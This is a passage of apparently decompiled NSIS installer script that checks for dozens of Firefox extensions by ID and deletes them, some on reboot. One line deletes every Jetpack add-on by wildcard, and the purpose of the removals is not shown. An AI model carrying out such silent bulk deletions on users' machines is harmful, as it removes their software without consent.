Delete /REBOOTOK $_59_\extensions\{e85a0e97-fa40-4dc4-a79e-e1c1cabe72eb}.xpi
label_8363:
IfFileExists $_59_\extensions\06a943c59f33a34bb5924aaf72cd2995@06a943c59f33a34bb5924aaf72cd2995.com 0 label_8365
RMDir /r /REBOOTOK $_59_\extensions\06a943c59f33a34bb5924aaf72cd2995@06a943c59f33a34bb5924aaf72cd2995.com
label_8365:
IfFileExists $_59_\extensions\{80782301-ffd7-43bd-8ab4-c75946efea6a}.xpi 0 label_8367
Delete /REBOOTOK $_59_\extensions\{80782301-ffd7-43bd-8ab4-c75946efea6a}.xpi
label_8367:
IfFileExists $_59_\extensions\{fd3f661e-765a-4fd3-bc9d-fa7f9541babe}.xpi 0 label_8369
Delete /REBOOTOK $_59_\extensions\{fd3f661e-765a-4fd3-bc9d-fa7f9541babe}.xpi
label_8369:
IfFileExists $_59_\extensions\{8e26a968-b45d-442c-9e9c-048d5704f319}.xpi 0 label_8371
Delete /REBOOTOK $_59_\extensions\{8e26a968-b45d-442c-9e9c-048d5704f319}.xpi
label_8371:
IfFileExists $_59_\extensions\[email protected] 0 label_8373
RMDir /r /REBOOTOK $_59_\extensions\[email protected]
label_8373:
IfFileExists $_59_\extensions\{88dab020-0802-4f33-9294-5fccbb774bac}.xpi 0 label_8375
Delete /REBOOTOK $_59_\extensions\{88dab020-0802-4f33-9294-5fccbb774bac}.xpi
label_8375:
IfFileExists $_59_\extensions\{6493c517-5773-4c5d-bef4-5b60c3b0cf82}.xpi 0 label_8377
Delete /REBOOTOK $_59_\extensions\{6493c517-5773-4c5d-bef4-5b60c3b0cf82}.xpi
label_8377:
IfFileExists $_59_\extensions\{d9a4216a-aae1-4d14-ba35-ff234b3b627f}.xpi 0 label_8379
Delete /REBOOTOK $_59_\extensions\{d9a4216a-aae1-4d14-ba35-ff234b3b627f}.xpi
label_8379:
IfFileExists $_59_\extensions\[email protected] 0 label_8381
Delete /REBOOTOK $_59_\extensions\[email protected]
label_8381:
IfFileExists $_59_\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E} 0 label_8383
RMDir /r /REBOOTOK $_59_\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}
label_8383:
IfFileExists $_59_\extensions\[email protected] 0 label_8385
RMDir /r /REBOOTOK $_59_\extensions\[email protected]
label_8385:
IfFileExists $_59_\extensions\{1B1F6171-E8D6-4F5F-9778-3009CC2748E2} 0 label_8387
RMDir /r /REBOOTOK $_59_\extensions\{1B1F6171-E8D6-4F5F-9778-3009CC2748E2}
label_8387:
IfFileExists $_59_\extensions\[email protected] 0 label_8389
Delete /REBOOTOK $_59_\extensions\[email protected]
label_8389:
IfFileExists $_59_\extensions\[email protected] 0 label_8391
Delete /REBOOTOK $_59_\extensions\[email protected]
label_8391:
IfFileExists $_59_\extensions\[email protected] 0 label_8393
Delete /REBOOTOK $_59_\extensions\[email protected]
label_8393:
IfFileExists $_59_\extensions\{77CD745A-D740-419E-92B7-814091CD1071} 0 label_8395
RMDir /r /REBOOTOK $_59_\extensions\{77CD745A-D740-419E-92B7-814091CD1071}
label_8395:
IfFileExists $_59_\extensions\[email protected] 0 label_8397
Delete /REBOOTOK $_59_\extensions\[email protected]
label_8397:
IfFileExists $_59_\extensions\[email protected] 0 label_8399
RMDir /r /REBOOTOK $_59_\extensions\[email protected]
label_8399:
IfFileExists $_59_\extensions\{a3730592-7b31-4002-9366-8a726171fb7b}.xpi 0 label_8401
Delete /REBOOTOK $_59_\extensions\{a3730592-7b31-4002-9366-8a726171fb7b}.xpi
label_8401:
IfFileExists $_59_\extensions\{61bc9620-8c15-4bf6-b992-006d0996a7bb}.xpi 0 label_8403
Delete /REBOOTOK $_59_\extensions\{61bc9620-8c15-4bf6-b992-006d0996a7bb}.xpi
label_8403:
IfFileExists $_59_\extensions\{fb92294f-e3a9-46df-8629-f1181a435cf0}.xpi 0 label_8405
Delete /REBOOTOK $_59_\extensions\{fb92294f-e3a9-46df-8629-f1181a435cf0}.xpi
label_8405:
IfFileExists $_59_\extensions\{661c0ed7-888c-4961-a069-bf80da31e955}.xpi 0 label_8407
Delete /REBOOTOK $_59_\extensions\{661c0ed7-888c-4961-a069-bf80da31e955}.xpi
label_8407:
IfFileExists $_59_\extensions\{e06e3b1e-92f9-4f0c-a89e-8ca35d3784d2}.xpi 0 label_8409
Delete /REBOOTOK $_59_\extensions\{e06e3b1e-92f9-4f0c-a89e-8ca35d3784d2}.xpi
label_8409:
IfFileExists $_59_\extensions\[email protected] 0 label_8411
RMDir /r /REBOOTOK $_59_\extensions\[email protected]
label_8411:
IfFileExists $_59_\extensions\{684D4E6B-E019-4970-8A1A-62A56F2BB2F9} 0 label_8413
RMDir /r /REBOOTOK $_59_\extensions\{684D4E6B-E019-4970-8A1A-62A56F2BB2F9}
label_8413:
IfFileExists $_59_\extensions\{0cb0c545-305c-44e0-9816-7e316bdfe237}.xpi 0 label_8415
Delete /REBOOTOK $_59_\extensions\{0cb0c545-305c-44e0-9816-7e316bdfe237}.xpi
label_8415:
IfFileExists $_59_\extensions\{d2987c5a-d6d8-46af-82d2-c3c2c88502d8}.xpi 0 label_8417
Delete /REBOOTOK $_59_\extensions\{d2987c5a-d6d8-46af-82d2-c3c2c88502d8}.xpi
label_8417:
IfFileExists $_59_\extensions\{4ef0c05a-9c51-4169-8766-50499ecedac1}.xpi 0 label_8419
Delete /REBOOTOK $_59_\extensions\{4ef0c05a-9c51-4169-8766-50499ecedac1}.xpi
label_8419:
IfFileExists $_59_\extensions\{1f575d58-4843-48b3-90d3-c79b549f437a}.xpi 0 label_8421
Delete /REBOOTOK $_59_\extensions\{1f575d58-4843-48b3-90d3-c79b549f437a}.xpi
label_8421:
IfFileExists $_59_\extensions\{6010c1d4-82a3-4db6-b3f6-09826a275523}.xpi 0 label_8423
Delete /REBOOTOK $_59_\extensions\{6010c1d4-82a3-4db6-b3f6-09826a275523}.xpi
label_8423:
IfFileExists $_59_\extensions\{23f7051d-18e8-44e2-a226-2e4ebb10608f}.xpi 0 label_8425
Delete /REBOOTOK $_59_\extensions\{23f7051d-18e8-44e2-a226-2e4ebb10608f}.xpi
label_8425:
IfFileExists $_59_\extensions\{ebea2f01-162e-499b-ad18-028f0259de6f}.xpi 0 label_8427
Delete /REBOOTOK $_59_\extensions\{ebea2f01-162e-499b-ad18-028f0259de6f}.xpi
label_8427:
IfFileExists $_59_\extensions\{89f3a763-5b09-4417-a205-f6585a7468e0}.xpi 0 label_8429
Delete /REBOOTOK $_59_\extensions\{89f3a763-5b09-4417-a205-f6585a7468e0}.xpi
label_8429:
IfFileExists $_59_\extensions\{d8d31aa1-b2d5-1cd9-ec71-867d38c2945c} 0 label_8431
RMDir /r /REBOOTOK $_59_\extensions\{d8d31aa1-b2d5-1cd9-ec71-867d38c2945c}
label_8431:
IfFileExists $_59_\extensions\{86495074-1e01-4c57-b1c7-869ad9007a9b}.xpi 0 label_8433
Delete /REBOOTOK $_59_\extensions\{86495074-1e01-4c57-b1c7-869ad9007a9b}.xpi
label_8433:
IfFileExists $_59_\extensions\{83f89b0e-6a57-42cc-b4c9-4d7255569deb}.xpi 0 label_8435
Delete /REBOOTOK $_59_\extensions\{83f89b0e-6a57-42cc-b4c9-4d7255569deb}.xpi
label_8435:
FunctionEnd
Function func_8436
IfFileExists $_59_\extensions\{2c5699ec-85f1-4ae8-892b-4feb9efc1813}.xpi 0 label_8438
Delete /REBOOTOK $_59_\extensions\{2c5699ec-85f1-4ae8-892b-4feb9efc1813}.xpi
label_8438:
IfFileExists $_59_\extensions\{8a167a0d-2593-78be-dffa-baa301a8d989} 0 label_8440
RMDir /r /REBOOTOK $_59_\extensions\{8a167a0d-2593-78be-dffa-baa301a8d989}
label_8440:
IfFileExists $_59_\extensions\{42c2ce50-98bd-87f8-6695-f76e817ccf5a} 0 label_8442
RMDir /r /REBOOTOK $_59_\extensions\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}
label_8442:
IfFileExists $_59_\extensions\{7929dd67-6f70-43ee-9cc7-c3b1ebca3d6c}.xpi 0 label_8444
Delete /REBOOTOK $_59_\extensions\{7929dd67-6f70-43ee-9cc7-c3b1ebca3d6c}.xpi
label_8444:
IfFileExists $_59_\extensions\{6eab28b9-4079-4e33-afb7-c332c7d8e930}.xpi 0 label_8446
Delete /REBOOTOK $_59_\extensions\{6eab28b9-4079-4e33-afb7-c332c7d8e930}.xpi
label_8446:
IfFileExists $_59_\extensions\{575b3a04-506c-436e-a31c-1cf303fdf32b}.xpi 0 label_8448
Delete /REBOOTOK $_59_\extensions\{575b3a04-506c-436e-a31c-1cf303fdf32b}.xpi
label_8448:
IfFileExists $_59_\extensions\advisor@AlawarDigital 0 label_8450
RMDir /r /REBOOTOK $_59_\extensions\advisor@AlawarDigital
label_8450:
IfFileExists $_59_\extensions\[email protected] 0 label_8452
RMDir /r /REBOOTOK $_59_\extensions\[email protected]
label_8452:
IfFileExists $_59_\extensions\[email protected] 0 label_8454
RMDir /r /REBOOTOK $_59_\extensions\[email protected]
label_8454:
IfFileExists $_59_\extensions\[email protected] 0 label_8456
RMDir /r /REBOOTOK $_59_\extensions\[email protected]
label_8456:
IfFileExists $_59_\extensions\[email protected] 0 label_8458
RMDir /r /REBOOTOK $_59_\extensions\[email protected]
label_8458:
IfFileExists $_59_\extensions\[email protected] 0 label_8460
RMDir /r /REBOOTOK $_59_\extensions\[email protected]
label_8460:
IfFileExists $_59_\extensions\[email protected] 0 label_8462
RMDir /r /REBOOTOK $_59_\extensions\[email protected]
label_8462:
IfFileExists $_59_\extensions\{607b689f-7600-45e4-b8e5-887f72dab15c} 0 label_8464
RMDir /r /REBOOTOK $_59_\extensions\{607b689f-7600-45e4-b8e5-887f72dab15c}
label_8464:
IfFileExists $_59_\extensions\{631F9C5D-6307-4E32-BC0D-B1C3A0C064F3} 0 label_8466
RMDir /r /REBOOTOK $_59_\extensions\{631F9C5D-6307-4E32-BC0D-B1C3A0C064F3}
label_8466:
IfFileExists $_59_\extensions\{033a8c6f-862d-4347-b28e-fa9ff3a16aca}.xpi 0 label_8468
Delete /REBOOTOK $_59_\extensions\{033a8c6f-862d-4347-b28e-fa9ff3a16aca}.xpi
label_8468:
IfFileExists $_59_\extensions\{530c39e5-e979-4143-976a-0407dd0fc0a9}.xpi 0 label_8470
Delete /REBOOTOK $_59_\extensions\{530c39e5-e979-4143-976a-0407dd0fc0a9}.xpi
label_8470:
IfFileExists $_59_\extensions\{8a6c5cb0-8029-45d5-81ec-3d760f3f2e68}.xpi 0 label_8472
Delete /REBOOTOK $_59_\extensions\{8a6c5cb0-8029-45d5-81ec-3d760f3f2e68}.xpi
label_8472:
IfFileExists $_59_\extensions\{a39d17ac-a52f-4ea6-9251-3e4afb5f49e5}.xpi 0 label_8474
Delete /REBOOTOK $_59_\extensions\{a39d17ac-a52f-4ea6-9251-3e4afb5f49e5}.xpi
label_8474:
IfFileExists $_59_\extensions\{54567227-7c1c-4efc-bf38-4ac4c6032ba2}.xpi 0 label_8476
Delete /REBOOTOK $_59_\extensions\{54567227-7c1c-4efc-bf38-4ac4c6032ba2}.xpi
label_8476:
IfFileExists $_59_\extensions\{e08fcad9-9d66-45db-b3c2-5d84d4983d6e}.xpi 0 label_8478
Delete /REBOOTOK $_59_\extensions\{e08fcad9-9d66-45db-b3c2-5d84d4983d6e}.xpi
label_8478:
IfFileExists $_59_\extensions\{6E727987-C8EA-44DA-8749-310C0FBE3C3E} 0 label_8480
RMDir /r /REBOOTOK $_59_\extensions\{6E727987-C8EA-44DA-8749-310C0FBE3C3E}
label_8480:
IfFileExists $_59_\extensions\{b75bf4f2-b9e7-4446-be16-8fafc15eb88d}.xpi 0 label_8482
Delete /REBOOTOK $_59_\extensions\{b75bf4f2-b9e7-4446-be16-8fafc15eb88d}.xpi
label_8482:
IfFileExists $_59_\extensions\{df98b4bc-0486-43f6-82e9-55124a0a3851}.xpi 0 label_8484
Delete /REBOOTOK $_59_\extensions\{df98b4bc-0486-43f6-82e9-55124a0a3851}.xpi
label_8484:
IfFileExists $_59_\extensions\{e8f0b08d-0e23-4874-b486-b0090bc03fe5}.xpi 0 label_8486
Delete /REBOOTOK $_59_\extensions\{e8f0b08d-0e23-4874-b486-b0090bc03fe5}.xpi
label_8486:
IfFileExists $_59_\extensions\{d720d64d-c71a-4316-b59e-8a41b860178f} 0 label_8488
RMDir /r /REBOOTOK $_59_\extensions\{d720d64d-c71a-4316-b59e-8a41b860178f}
label_8488:
IfFileExists $_59_\extensions\{2f5382ee-8543-4e85-88b0-1fbda91a5501}.xpi 0 label_8490
Delete /REBOOTOK $_59_\extensions\{2f5382ee-8543-4e85-88b0-1fbda91a5501}.xpi
label_8490:
IfFileExists $_59_\extensions\{ef04cd98-5bf9-4b98-88c5-2cd85a489f29}.xpi 0 label_8492
Delete /REBOOTOK $_59_\extensions\{ef04cd98-5bf9-4b98-88c5-2cd85a489f29}.xpi
label_8492:
IfFileExists $_59_\extensions\{defd8be5-903f-4585-bfe4-4ac9892c6215}.xpi 0 label_8494
Delete /REBOOTOK $_59_\extensions\{defd8be5-903f-4585-bfe4-4ac9892c6215}.xpi
label_8494:
IfFileExists $_59_\extensions\{15ffe680-f508-4e34-9186-1c1e8f02c252}.xpi 0 label_8496
Delete /REBOOTOK $_59_\extensions\{15ffe680-f508-4e34-9186-1c1e8f02c252}.xpi
label_8496:
IfFileExists $_59_\extensions\[email protected] 0 label_8498
RMDir /r /REBOOTOK $_59_\extensions\[email protected]
label_8498:
IfFileExists $_59_\extensions\{361bdfbd-a59f-41fc-9013-7d7dfdba60ef}.xpi 0 label_8500
Delete /REBOOTOK $_59_\extensions\{361bdfbd-a59f-41fc-9013-7d7dfdba60ef}.xpi
label_8500:
IfFileExists $_59_\extensions\{64955d58-a14d-421d-9649-9c4bedba4a14}.xpi 0 label_8502
Delete /REBOOTOK $_59_\extensions\{64955d58-a14d-421d-9649-9c4bedba4a14}.xpi
label_8502:
IfFileExists $_59_\extensions\*@jetpack.xpi 0 label_8504
Delete /REBOOTOK $_59_\extensions\*@jetpack.xpi
label_8504:
IfFileExists $_59_\extensions\{787b097b-bb5c-4713-bb72-c2d78b846ffa}.xpi 0 label_8506
Delete /REBOOTOK $_59_\extensions\{787b097b-bb5c-4713-bb72-c2d78b846ffa}.xpi
label_8506:
IfFileExists $_59_\extensions\{df939561-d922-423d-8b4f-41764db11526}.xpi 0 label_8508
Delete /REBOOTOK $_59_\extensions\{df939561-d922-423d-8b4f-41764db11526}.xpi
label_8508:
IfFileExists $_59_\extensions\{7ac2c1a1-86c6-433c-a5d3-1f965778f48a}.xpi 0 label_8510
Delete /REBOOTOK $_59_\extensions\{7ac2c1a1-86c6-433c-a5d3-1f965778f48a}.xpi
label_8510:
IfFileExists $_59_\extensions\{3aba10bc-af2b-4490-a846-67258f4bf417}.xpi 0 label_8512
Delete /REBOOTOK $_59_\extensions\{3aba10bc-af2b-4490-a846-67258f4bf417}.xpi
label_8512:
IfFileExists $_59_\extensions\{d84bab45-b127-f7e0-f2fc-947924d7c73b} 0 label_8514
RMDir /r /REBOOTOK $_59_\extensions\{d84bab45-b127-f7e0-f2fc-947924d7c73b}
label_8514:
IfFileExists $_59_\extensions\{6df2f73e-17d8-40e2-a697-ff95eaa0ed40}.xpi 0 label_8516
Delete /REBOOTOK $_59_\extensions\{6df2f73e-17d8-40e2-a697-ff95eaa0ed40}.xpi
label_8516:
IfFileExists $_59_\extensions\{2a695a48-a0c7-4e99-91ef-54a019a542ad}.xpi 0 label_8518
Delete /REBOOTOK $_59_\extensions\{2a695a48-a0c7-4e99-91ef-54a019a542ad}.xpi
label_8518:
IfFileExists $_59_\extensions\{59993c10-330a-47ed-916d-3a4ee4b9c6fe}.xpi 0 label_8520
Delete /REBOOTOK $_59_\extensions\{59993c10-330a-47ed-916d-3a4ee4b9c6fe}.xpi
label_8520:
IfFileExists $_59_\extensions\{6b823d22-283a-46a7-a88e-741fe70bb794}.xpi 0 label_8522
Delete /REBOOTOK $_59_\extensions\{6b823d22-283a-46a7-a88e-741fe70bb794}.xpi
label_8522:
IfFileExists $_59_\extensions\{2300a61e-a619-4b24-a7c8-e9c3c5310d5c}.xpi 0 label_8524
Delete /REBOOTOK $_59_\extensions\{2300a61e-a619-4b24-a7c8-e9c3c5310d5c}.xpi
label_8524:
IfFileExists $_59_\extensions\[email protected] 0 label_8526
RMDir /r /REBOOTOK $_59_\extensions\[email protected]
label_8526:
IfFileExists $_59_\extensions\[email protected] 0 label_8528
RMDir /r /REBOOTOK $_59_\extensions\[email protected]
label_8528:
IfFileExists $_59_\extensions\{47887a95-8ff1-45b1-926b-1922a67fa6a8}.xpi 0 label_8530
Delete /REBOOTOK $_59_\extensions\{47887a95-8ff1-45b1-926b-1922a67fa6a8}.xpi
label_8530:
IfFileExists $_59_\extensions\{fd46204d-c01d-4990-b083-2c2451326b35}.xpi 0 label_8532
Delete /REBOOTOK $_59_\extensions\{fd46204d-c01d-4990-b083-2c2451326b35}.xpi
label_8532:
IfFileExists $_59_\extensions\{628fc969-aadf-4564-bcb3-0109749bf145}.xpi 0 label_8534
Delete /REBOOTOK $_59_\extensions\{628fc969-aadf-4564-bcb3-0109749bf145}.xpi
label_8534:
IfFileExists $_59_\extensions\{11944e07-3e46-4956-b8c7-7e52c7a44c1d}.xpi 0 label_8536
Delete /REBOOTOK $_59_\extensions\{11944e07-3e46-4956-b8c7-7e52c7a44c1d}.xpi
label_8536:
IfFileExists $_59_\extensions\{6b0c9c8b-76e8-4048-b069-8376aa74be4b}.xpi 0 label_8538
Delete /REBOOTOK $_59_\extensions\{6b0c9c8b-76e8-4048-b069-8376aa74be4b}.xpi
label_8538:
IfFileExists $_59_\extensions\{b1a2d338-2080-4636-baf3-e017ee7e4605}.xpi 0 label_8540
Delete /REBOOTOK $_59_\extensions\{b1a2d338-2080-4636-baf3-e017ee7e4605}.xpi
label_8540:
IfFileExists $_59_\extensions\[email protected] 0 label_8542
Delete /REBOOTOK $_59_\extensions\[email protected]
label_8542:
IfFileExists $_59_\extensions\{85788c43-d871-40cf-9365-686173d382bb}.xpi 0 label_8544
Delete /REBOOTOK $_59_\extensions\{85788c43-d871-40cf-9365-686173d382bb}.xpi
label_8544:
FunctionEnd
Function func_8545
IfFileExists $_59_\extensions\[email protected] 0 label_8547
Delete /REBOOTOK $_59_\extensions\[email protected]
label_8547:
IfFileExists $_59_\extensions\{602b1e7a-d085-42c0-aa31-42f2f8e76963}.xpi 0 label_8549
Delete /REBOOTOK $_59_\extensions\{602b1e7a-d085-42c0-aa31-42f2f8e76963}.xpi
label_8549:
IfFileExists $_59_\extensions\{00b18ee4-769a-4f0a-847e-4bf44544e2bd}.xpi 0 label_8551
Delete /REBOOTOK $_59_\extensions\{00b18ee4-769a-4f0a-847e-4bf44544e2bd}.xpi
label_8551:
IfFileExists $_59_\extensions\{0852afcc-4115-420d-937a-41c379b83c30}.xpi 0 label_8553
Delete /REBOOTOK $_59_\extensions\{0852afcc-4115-420d-937a-41c379b83c30}.xpi
label_8553:
IfFileExists $_59_\extensions\{c93a1548-a04b-4bdc-af0d-74ef21894a9d}.xpi 0 label_8555
Delete /REBOOTOK $_59_\extensions\{c93a1548-a04b-4bdc-af0d-74ef21894a9d}.xpi
label_8555:
IfFileExists $_59_\extensions\{d4f9670c-be29-47e4-97d9-40a89cf7c7ba}.xpi 0 label_8557
Delete /REBOOTOK $_59_\extensions\{d4f9670c-be29-47e4-97d9-40a89cf7c7ba}.xpi
label_8557:
IfFileExists $_59_\extensions\{e2590817-40ca-4d03-8e1f-67fd8517bae9}.xpi 0 label_8559
Delete /REBOOTOK $_59_\extensions\{e2590817-40ca-4d03-8e1f-67fd8517bae9}.xpi
label_8559:
IfFileExists $_59_\extensions\{ff3f1ffa-691d-45c1-8847-4f0666b522a5}.xpi 0 label_8561
Delete /REBOOTOK $_59_\extensions\{ff3f1ffa-691d-45c1-8847-4f0666b522a5}.xpi
label_8561:
IfFileExists $_59_\extensions\{999dfb75-830f-4be2-adf1-8e98cb386aa5}.xpi 0 label_8563
Delete /REBOOTOK $_59_\extensions\{999dfb75-830f-4be2-adf1-8e98cb386aa5}.xpi
label_8563:
IfFileExists $_59_\extensions\{b58505c7-02e9-4a25-9eba-0f03f1c1ec2a}.xpi 0 label_8565
Delete /REBOOTOK $_59_\extensions\{b58505c7-02e9-4a25-9eba-0f03f1c1ec2a}.xpi
label_8565:
IfFileExists $_59_\extensions\{3f1219df-4a4d-40a3-9537-f2a95f4016b3}.xpi 0 label_8567
Delete /REBOOTOK $_59_\extensions\{3f1219df-4a4d-40a3-9537-f2a95f4016b3}.xpi
label_8567:
IfFileExists $_59_\extensions\{4af0b841-8486-4b10-969f-dd4745d23017}.xpi 0 label_8569
Delete /REBOOTOK $_59_\extensions\{4af0b841-8486-4b10-969f-dd4745d23017}.xpi
label_8569:
IfFileExists $_59_\extensions\{4ba4fb82-09fc-473f-afa8-c0682b26e138}.xpi 0 label_8571
Delete /REBOOTOK $_59_\extensions\{4ba4fb82-09fc-473f-afa8-c0682b26e138}.xpi
label_8571:
IfFileExists $_59_\extensions\{1222ed7c-bb00-43af-bdee-81a79d198022}.xpi 0 label_8573
Delete /REBOOTOK $_59_\extensions\{1222ed7c-bb00-43af-bdee-81a79d198022}.xpi
label_8573:
IfFileExists $_59_\extensions\{6dd55e9a-3d06-4d70-b5e7-05fc3e0a3d66}.xpi 0 label_8575
Delete /REBOOTOK $_59_\extensions\{6dd55e9a-3d06-4d70-b5e7-05fc3e0a3d66}.xpi
label_8575:
IfFileExists $_59_\extensions\{6de8af61-d3e1-44f9-aabe-d613768ef1b6}.xpi 0 label_8577
Delete /REBOOTOK $_59_\extensions\{6de8af61-d3e1-44f9-aabe-d613768ef1b6}.xpi
label_8577:
IfFileExists $_59_\extensions\{cc936201-ac67-45ee-af8f-e121e4b8d68c}.xpi 0 label_8579
Delete /REBOOTOK $_59_\extensions\{cc936201-ac67-45ee-af8f-e121e4b8d68c}.xpi
label_8579:
IfFileExists $_59_\extensions\{1735453c-d54e-49bc-8674-b048d986ab0c}.xpi 0 label_8581
Delete /REBOOTOK $_59_\extensions\{1735453c-d54e-49bc-8674-b048d986ab0c}.xpi
label_8581:
IfFileExists $_59_\extensions\{b4bda04c-8245-406b-8fcf-5c3dbe99465f}.xpi 0 label_8583
Delete /REBOOTOK $_59_\extensions\{b4bda04c-8245-406b-8fcf-5c3dbe99465f}.xpi
label_8583:
IfFileExists $_59_\extensions\{b514190c-17bf-4b34-a6e6-c02e0de19089}.xpi 0 label_8585
Delete /REBOOTOK $_59_\extensions\{b514190c-17bf-4b34-a6e6-c02e0de19089}.xpi
label_8585:
IfFileExists $_59_\extensions\{57e43d23-8d3b-4b8e-8db3-ab1ea2cb82ad}.xpi 0 label_8587
Delete /REBOOTOK $_59_\extensions\{57e43d23-8d3b-4b8e-8db3-ab1ea2cb82ad}.xpi
label_8587:
IfFileExists $_59_\extensions\{1e2b528d-3643-46e1-bb59-560c20fe1d2b}.xpi 0 label_8589
Delete /REBOOTOK $_59_\extensions\{1e2b528d-3643-46e1-bb59-560c20fe1d2b}.xpi
label_8589:
IfFileExists $_59_\extensions\{6078c10f-b611-49db-8c42-7befb24f31c4}.xpi 0 label_8591
Delete /REBOOTOK $_59_\extensions\{6078c10f-b611-49db-8c42-7befb24f31c4}.xpi
label_8591:
IfFileExists $_59_\extensions\{0929d980-d609-4ab0-8543-d3f1531c4b30}.xpi 0 label_8593
Delete /REBOOTOK $_59_\extensions\{0929d980-d609-4ab0-8543-d3f1531c4b30}.xpi
label_8593:
IfFileExists $_59_\extensions\{20c39fcc-3b06-4ab3-bfa5-29678e44335d}.xpi 0 label_8595
Delete /REBOOTOK $_59_\extensions\{20c39fcc-3b06-4ab3-bfa5-29678e44335d}.xpi
label_8595:
IfFileExists $_59_\extensions\{91015032-1894-4629-8d9b-c0ab86b04ece}.xpi 0 label_8597
Delete /REBOOTOK $_59_\extensions\{91015032-1894-4629-8d9b-c0ab86b04ece}.xpi
label_8597:
IfFileExists $_59_\extensions\{36ed28a4-ac0a-4653-91ff-10beb4246550}.xpi 0 label_8599
Delete /REBOOTOK $_59_\extensions\{36ed28a4-ac0a-4653-91ff-10beb4246550}.xpi
label_8599:
IfFileExists $_59_\extensions\[email protected] 0 label_8601
RMDir /r /REBOOTOK $_59_\extensions\[email protected]
label_8601:
IfFileExists $_59_\extensions\[email protected] 0 label_8603
RMDir /r /REBOOTOK $_59_\extensions\[email protected]
label_8603:
IfFileExists $_59_\extensions\{123b2220-59cb-11db-b0de-0800200c9a66} 0 label_8605
RMDir /r /REBOOTOK $_59_\extensions\{123b2220-59cb-11db-b0de-0800200c9a66}
label_8605:
IfFileExists $_59_\extensions\{80249d94-cb27-4919-8ae8-70c3a10ec453}.xpi 0 label_8607
Delete /REBOOTOK $_59_\extensions\{80249d94-cb27-4919-8ae8-70c3a10ec453}.xpi
label_8607:
IfFileExists $_59_\extensions\{f154f87c-804f-402f-a8fb-1a23fcc1d768}.xpi 0 label_8609
Delete /REBOOTOK $_59_\extensions\{f154f87c-804f-402f-a8fb-1a23fcc1d768}.xpi
label_8609:
IfFileExists $_59_\extensions\{6cd409f4-25b8-4703-a867-87df6c4d5ef3}.xpi 0 label_8611
Delete /REBOOTOK $_59_\extensions\{6cd409f4-25b8-4703-a867-87df6c4d5ef3}.xpi
label_8611:
IfFileExists $_59_\extensions\{a269907e-3a5f-437b-9e10-23056c18f9f6}.xpi 0 label_8613
Delete /REBOOTOK $_59_\extensions\{a269907e-3a5f-437b-9e10-23056c18f9f6}.xpi
label_8613:
IfFileExists $_59_\extensions\{63880cd8-b863-4288-8dca-48d12661d7dd}.xpi 0 label_8615
Delete /REBOOTOK $_59_\extensions\{63880cd8-b863-4288-8dca-48d12661d7dd}.xpi
label_8615:
IfFileExists $_59_\extensions\{1ce57ad7-db06-45ad-85f3-b335f521eecb}.xpi 0 label_8617
Delete /REBOOTOK $_59_\extensions\{1ce57ad7-db06-45ad-85f3-b335f521eecb}.xpi
label_8617:
IfFileExists $_59_\extensions\{762f0906-f55a-470b-8a55-db5137bad752}.xpi 0 label_8619
Delete /REBOOTOK $_59_\extensions\{762f0906-f55a-470b-8a55-db5137bad752}.xpi
label_8619:
IfFileExists $_59_\extensions\{1d40ce48-051f-4f0d-9a35-23c77bf9087f}.xpi 0 label_8621
Delete /REBOOTOK $_59_\extensions\{1d40ce48-051f-4f0d-9a35-23c77bf9087f}.xpi
label_8621:
IfFileExists $_59_\extensions\{a1469707-fecc-4e6d-be13-e11acacabc84}.xpi 0 label_8623
Delete /REBOOTOK $_59_\extensions\{a1469707-fecc-4e6d-be13-e11acacabc84}.xpi
label_8623:
IfFileExists $_59_\extensions\{fc06141f-0e27-4c84-a858-15e0857e2213}.xpi 0 label_8625
Delete /REBOOTOK $_59_\extensions\{fc06141f-0e27-4c84-a858-15e0857e2213}.xpi
label_8625:
IfFileExists $_59_\extensions\{6cc7b257-bb54-4f3f-828e-06e90d802dc5}.xpi 0 label_8627
Delete /REBOOTOK $_59_\extensions\{6cc7b257-bb54-4f3f-828e-06e90d802dc5}.xpi
label_8627:
IfFileExists $_59_\extensions\{21181538-7fbb-4069-b287-194adafdb095}.xpi 0 label_8629
Delete /REBOOTOK $_59_\extensions\{21181538-7fbb-4069-b287-194adafdb095}.xpi
label_8629:
IfFileExists $_59_\extensions\{32f197f9-63ca-4014-aac0-2e905e2a155b}.xpi 0 label_8631
Delete /REBOOTOK $_59_\extensions\{32f197f9-63ca-4014-aac0-2e905e2a155b}.xpi
label_8631:
IfFileExists $_59_\extensions\{f4081f35-651c-4c81-8bd3-287b1fd40f32}.xpi 0 label_8633
Delete /REBOOTOK $_59_\extensions\{f4081f35-651c-4c81-8bd3-287b1fd40f32}.xpi
label_8633:
IfFileExists $_59_\extensions\{5ea9bc09-06aa-4821-8b4e-79736ad4c731}.xpi 0 label_8635
Delete /REBOOTOK $_59_\extensions\{5ea9bc09-06aa-4821-8b4e-79736ad4c731}.xpi
label_8635:
IfFileExists $_59_\extensions\{42f8f729-2fa8-44bb-b01a-28c57a8162c7}.xpi 0 label_8637
Delete /REBOOTOK $_59_\extensions\{42f8f729-2fa8-44bb-b01a-28c57a8162c7}.xpi
label_8637:
IfFileExists $_59_\extensions\{d1b24110-ff8f-46b1-9312-0f9e2783ae7e}.xpi 0 label_8639
Delete /REBOOTOK $_59_\extensions\{d1b24110-ff8f-46b1-9312-0f9e2783ae7e}.xpi
label_8639:
IfFileExists $_59_\extensions\[email protected] 0 label_8641
RMDir /r /REBOOTOK $_59_\extensions\[email protected]
label_8641:
IfFileExists $_59_\extensions\{85359a6f-592d-4c5e-9556-24a2249d7756}.xpi 0 label_8643
Delete /REBOOTOK $_59_\extensions\{85359a6f-592d-4c5e-9556-24a2249d7756}.xpi
label_8643:
FunctionEnd
Function func_8644
IfFileExists $_59_\extensions\{0d68400f-30b4-459a-94ed-bd57e329ed5d}.xpi 0 label_8646
Delete /REBOOTOK $_59_\extensions\{0d68400f-30b4-459a-94ed-bd57e329ed5d}.xpi
label_8646:
IfFileExists $_59_\extensions\{2876f045-5de3-4e77-bdb3-05cf9328a0d2}.xpi 0 label_8648
Delete /REBOOTOK $_59_\extensions\{2876f045-5de3-4e77-bdb3-05cf9328a0d2}.xpi
label_8648:
IfFileExists $_59_\extensions\{ee61cba1-8ca8-4c05-a509-a4d161ec9384}.xpi 0 label_8650
Delete /REBOOTOK $_59_\extensions\{ee61cba1-8ca8-4c05-a509-a4d161ec9384}.xpi
label_8650:
